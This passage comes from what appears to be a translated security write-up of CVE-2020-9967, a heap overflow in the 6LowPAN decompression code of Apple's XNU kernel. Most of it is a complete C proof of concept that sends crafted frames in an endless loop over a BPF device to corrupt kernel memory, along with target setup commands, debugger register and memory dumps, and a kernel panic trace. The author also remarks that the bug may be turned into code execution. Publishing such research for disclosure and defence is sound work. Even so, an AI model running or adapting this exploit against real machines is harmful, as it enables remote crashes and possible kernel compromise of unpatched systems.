       rsi = 0xffffff80602e182b
       rbp = 0xffffff80669e3cf0
       rsp = 0xffffff80669e3c30
        r8 = 0xffffff80669e3c38
        r9 = 0xffffff80669e3c40
       r10 = 0x0000000000000000
       r11 = 0x0000000000000003
       r12 = 0x0000000000000028
       r13 = 0x0000000000000003
       r14 = 0xffffff80669e3d28
       r15 = 0xffffff80602e1803
       rip = 0xffffff8003ffa1da  kernel`sixxlowpan_uncompress   298 [inlined] memmove at subrs.c:703
  kernel`sixxlowpan_uncompress   298 [inlined] __memmove_chk at sixxlowpan.c:853
  kernel`sixxlowpan_uncompress   298 at sixxlowpan.c:853
    rflags = 0x0000000000000393
        cs = 0x0000000000000008
        fs = 0x00000000ffff0000
        gs = 0x00000000669e0000

POC 2 - 溢出

然而,我们可以用大的有效载荷大小触发更可控的内存损坏,这也有可能被用于代码执行。

例如,使用以下参数。

len = 0xffff

pf->payload_len = (0xffffff - 3); = 65532 pf->payload_len = 0xfffc

最终,memmove在有效载荷 40处对攻击者来源的数据进行写入,大小为0xfffc-40=(0xfff9)65529。

POC 2演示了这一点。

代码语言:javascript复制
/***

Apple XNU 6LowPAN POC
Catalina 10.15.4

POC 2: Write 0xffd4 bytes - overflow

Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0

***/

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>

// Set these to source and target 
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

struct frame_t {
  struct ether_header header;
  unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];
  ssize_t len;
  ssize_t payload_len;
};

// Open bpf device
int open_bpf_device()
{
  char buf[11] = {};
  int bpf = 0;
  for(int i = 0; i < 99; i  )
  {
    sprintf(buf,"/dev/bpf%i",i);
    bpf = open(buf,O_RDWR);
    if( bpf != -1 ) {
      printf("Opened device /dev/bpf%in", i);
      break; 
    }
  }
  if(bpf == -1) {
    printf("Cannot open any /dev/bpf* device, exitingn");
    exit(1); 
  }
  return bpf; 
}

// Associate device
void assoc_dev(int bpf, char* interface)
{
  struct ifreq bound_if;
  strcpy(bound_if.ifr_name, interface);
  if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {
    printf("Cannot bind bpf device to physical device %s, exitingn", interface);
    exit(1);
  }
  printf("Bound bpf device to physical device %sn", interface);
}

// Write trigger frame
void write_single_frame(int bpf) 
{
  ssize_t data_length = 32;

  struct frame_t frame;
  memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);
  memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);

  //  802.15.4 frame type. 
  frame.header.ether_type = 0x908;
  frame.len = (2*ETHER_ADDR_LEN)   ETHER_TYPE_LEN   data_length;

  // Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);
  frame.payload[0] = 0xff;
  frame.payload[1] = 0xff;

  // This is the start of the "data" passed to frame802154_parse and considered frame header 
  // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)
  // These are used for the FCF (no flags set)
  frame.payload[2] = 0;
  frame.payload[3] = 0;
  frame.payload[4] = 0;

  // As none FCF are set p =3 bytes. 
  // header length
  // c = p - data;
  // c = 3
  // payload length
  // pf->payload_len = (4 - 3);
  // pf->payload_len = 1

  // This is the start of our payload passed to sixxlowpan_uncompress
  frame.payload[5] = 0;
  frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP

  // Just pad the frame with 'A'. 
  for (int j = 7; j < 32; j  ) {
    frame.payload[j] = 0x41;
    } 

    ssize_t bytes_sent;
    bytes_sent = write(bpf, &frame, frame.len);
    if(bytes_sent > 0) {
      printf("Bytes sent: %ldn", bytes_sent);
    } else {
      perror("Error sending frame");
      exit(1);
    }
}

int main(int argc, char *argv[])
{
  char* interface = "en0";

  int bpf;
  bpf = open_bpf_device();
  assoc_dev(bpf, interface);
    
  // Do this in a loop to ensure we corrupt data following mbuf. 
  while (1)
    write_single_frame(bpf);

  return 0; 
}

这就造成了以下结果:

代码语言:javascript复制
frame #0: 0xffffff8012dfa1da kernel`sixxlowpan_uncompress [inlined] memmove(dst=0xffffff806f16f82b, src=0xffffff806f16f806, ulen=65529) at loose_ends.c:873:2 [opt]

(lldb) register read 
General Purpose Registers:
       rax = 0x0000000000000000
       rbx = 0x0000000000000000
       rcx = 0xffffff8876c7bd28
       rdx = 0x000000000000fff9
       rdi = 0xffffff806f16f806
       rsi = 0xffffff806f16f82b
       rbp = 0xffffff8876c7bcf0
       rsp = 0xffffff8876c7bc30
        r8 = 0xffffff8876c7bc38
        r9 = 0xffffff8876c7bc40
       r10 = 0x0000000000000000
       r11 = 0x0000000000000003
       r12 = 0x0000000000000028
       r13 = 0x0000000000000003
       r14 = 0xffffff8876c7bd28
       r15 = 0xffffff806f16f803
       rip = 0xffffff8012dfa1da  kernel`sixxlowpan_uncompress   298 [inlined] memmove at subrs.c:703
  kernel`sixxlowpan_uncompress   298 [inlined] __memmove_chk at sixxlowpan.c:853
  kernel`sixxlowpan_uncompress   298 at sixxlowpan.c:853
    rflags = 0x0000000000000206
        cs = 0x0000000000000008
        fs = 0x0000000000000000
        gs = 0x0000000000000000


Source:

(lldb) x/20x 0xffffff806f16f806
0xffffff806f16f806: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffff806f16f816: 0x41414141 0x41414141 0x00000000 0x00000000
0xffffff806f16f826: 0x00000000 0x72750000 0x2d726569 0x68737570
0xffffff806f16f836: 0x7070612d 0x632e656c 0x612e6d6f 0x6e64616b
0xffffff806f16f846: 0x656e2e73 0x00002e74 0x00010005 0x62670c28

Dest: 

(lldb) x/20x 0xffffff806f16f82b
0xffffff806f16f82b: 0x69727500 0x702d7265 0x2d687375 0x6c707061
0xffffff806f16f83b: 0x6f632e65 0x6b612e6d 0x736e6461 0x74656e2e
0xffffff806f16f84b: 0x0500002e 0x28000100 0x2d62670c 0x72756f63
0xffffff806f16f85b: 0x2d726569 0x75700a34 0x612d6873 0x656c7070
0xffffff806f16f86b: 0x6d6f6303 0x616b6106 0x03736e64 0x0074656e

由于集群 mbuf 的大小只有 2048,并且以链接列表的方式链在一起,这将会导致攻击者控制的数据损坏后续 mbuf。

在KASAN内核上运行我们稍微修改过的POC 2 (41的换成45的),我们也可以看到堆损坏已经发生,并且我们已经触发了Nextptr的验证:

代码语言:javascript复制
panic(cpu 0 caller 0xffffff80108f005e): slab_nextptr_panic: mcache.cl buffer 0xffffff806e4e4800 in slab 0xffffff801a0ed9d0 modified after free at offset 0: 0x45454545454545 out of range [0xffffff806e3b0000-0xffffff80723b0000)

Backtrace (CPU 0), Frame : Return Address
0xffffff8881e8ece0 : 0xffffff800f88bd34 mach_kernel : _handle_debugger_trap   0x384
0xffffff8881e8ed30 : 0xffffff800fc2598c mach_kernel : _kdp_i386_trap   0x15c
0xffffff8881e8ed70 : 0xffffff800fc11a47 mach_kernel : _kernel_trap   0xa87
0xffffff8881e8ee00 : 0xffffff800fc2c6e0 mach_kernel : trap_from_kernel   0x26
0xffffff8881e8ee20 : 0xffffff800f88b62e mach_kernel : _DebuggerTrapWithState   0x4e
0xffffff8881e8ef40 : 0xffffff8010ef9636 mach_kernel : _panic_trap_to_debugger.cold.1   0xa6
0xffffff8881e8ef90 : 0xffffff800f88c236 mach_kernel : _panic_trap_to_debugger   0x156
0xffffff8881e8efe0 : 0xffffff8010ef9284 mach_kernel : _panic   0x54
0xffffff8881e8f050 : 0xffffff80108f005e mach_kernel : _slab_nextptr_panic   0x2de
0xffffff8881e8f0c0 : 0xffffff80108ee561 mach_kernel : _slab_alloc   0x301
0xffffff8881e8f150 : 0xffffff80108d2e48 mach_kernel : _mbuf_slab_alloc   0x1b8
0xffffff8881e8f2b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext   0x92e
0xffffff8881e8f430 : 0xffffff80108d087d mach_kernel : _mbuf_cslab_alloc   0x33d
0xffffff8881e8f5b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext   0x92e
0xffffff8881e8f730 : 0xffffff8010872a23 mach_kernel : _mcache_alloc   0xd3
0xffffff8881e8f800 : 0xffffff80108d729d mach_kernel : _m_getcl   0x2d
0xffffff8881e8f8b0 : 0xffffff8010146ed9 mach_kernel : _sixlowpan_input   0x119
0xffffff8881e8fa10 : 0xffffff8010120986 mach_kernel : _dlil_ifproto_input   0x136
0xffffff8881e8fa70 : 0xffffff8010102ef3 mach_kernel : _dlil_input_packet_list_common   0x2153
0xffffff8881e8fe70 : 0xffffff801012010d mach_kernel : _dlil_input_thread_cont   0x2cd
0xffffff8881e8ffa0 : 0xffffff800fbf85be mach_kernel : _call_continuation   0x2e

预计由于写的大小受控,数据受控,将有可能把这个问题变成代码执行。

翻译文章地址:https://alexplaskett.github.io/CVE-2020-9967/

0 人点赞